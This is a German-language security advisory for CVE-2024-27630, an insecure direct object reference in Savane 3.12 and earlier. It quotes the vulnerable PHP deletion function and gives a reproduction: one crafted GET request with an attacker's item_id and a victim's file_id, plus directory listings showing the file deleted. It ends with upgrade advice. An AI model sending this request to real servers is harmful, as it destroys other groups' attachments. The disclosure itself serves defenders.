
CVE-2024–27630 Referenz
In Savane v3.12 und früher führt eine fehlende Validierung des Parameters file_id beim Löschen einer Datei von /bugs/index.php zu einer Schwachstelle durch Insecure Direct Object Reference (IDOR), die es einem authentifizierten Administrator einer Gruppe mit einem Bug-Tracker ermöglicht, Dateianhänge eines beliebigen Bug-Trackers willkürlich zu löschen, was zur Nichtverfügbarkeit dieser Dateien führt. Da die Datei-IDs mit jedem neuen Upload inkrementiert werden, ist es möglich, ein Skript zu erstellen, das iterativ alle Dateianhänge auf dem Server über die file_id löscht.
CWE-Klassifizierung: CWE-639: Authorization Bypass Through User-Controlled Key
Gemeldet von: Ally Petitt
Betroffenes Produkt: Savane
Betroffene Versionen: 3.12 und früher
Die Funktion, die für das Löschen von Dateianhängen in Bug-Trackern zuständig ist, ist trackers_data_delete_file(), die im folgenden Codeblock definiert ist.
frontend/php/include/trackers/data.php:2417
function trackers_data_delete_file ($group_id, $item_id, $file_id)
{
global $sys_trackers_attachments_dir;
# Make sure the attachment belongs to the group.
$res = db_execute ("
SELECT bug_id from " . ARTIFACT . " WHERE bug_id = ? AND group_id = ?",
[$item_id, $group_id]
);
if (db_numrows ($res) <= 0)
{
# TRANSLATORS: the argument is item id (a number).
$msg = sprintf (
_("Item #%s doesn't belong to project"), $item_id
);
fb ($msg, 1);
return;
}
$result = false;
# Delete the attachment.
if (unlink ("$sys_trackers_attachments_dir/$file_id"))
$result = db_execute ("
DELETE FROM trackers_file WHERE item_id = ? AND file_id = ?",
[$item_id, $file_id]
);
Die Funktion beginnt mit einer SQL-Abfrage, die prüft, ob sich die in item_id angegebene Bug-ID in der Gruppe befindet, der der Angreifer angehört, bekannt als $group_id. Die Funktion prüft jedoch nicht, ob auch die file_id Teil der Gruppe ist. Das bedeutet, dass der Angreifer, solange die item_id einem gültigen Bug in der Gruppe des Angreifers entspricht, die file_id so ändern kann, dass sie auf eine beliebige Datei im Upload-Verzeichnis /var/lib/savane/trackers_attachments zeigt.
Darüber hinaus ist diese Funktion nur für Bug-Tracker-Administratoren erreichbar.
frontend/php/bugs/index.php:586
case 'delete_file':
# Remove an attached file.
if ($is_trackeradmin)
{
trackers_data_delete_file($group_id, $item_id, $item_file_id);
# Unset previous settings and return to the item.
$depends_search = $reassign_change_project_search = $add_cc
= $input_file = $changed = $vfl = $details = null;
include '../include/trackers_run/mod.php';
}
else
exit_permission_denied ();
break;
Diese Schritte demonstrieren das Löschen einer einzelnen nicht autorisierten Datei; beachten Sie jedoch, dass ein Angreifer das Löschen aller Dateien anhand ihrer IDs automatisieren könnte, da diese vorhersehbar sind.
40231 vom Opfer hochgeladen wurde:root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230 40231
Rufen Sie die Startseite der Gruppe auf, deren Administrator der Angreifer ist. Gehen Sie dann zu Bugs > Browse und notieren Sie eine gültige Item-ID in der äußersten linken Spalte der Tabelle. Diese ID wird im nächsten Schritt verwendet.
Führen Sie als Angreifer eine GET-Anfrage an den Pfad /bugs/index.php?func=delete_file&item_id=<ATTACKER_ITEM_ID>&item_file_id=<FILE_ID_TO_DELETE> aus.
In meinem Fall sieht dies wie folgt aus: http://172.17.0.2:7890/bugs/index.php?func=delete_file&item_id=50697&item_file_id=40231.
Verifizieren Sie, dass die Datei des Opfers (aus einer Gruppe, für die der Angreifer keine Berechtigungen hat) gelöscht wurde. Zum Beispiel:
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230
Aktualisieren Sie auf Savane Version 3.13 oder höher. Den Patch finden Sie hier.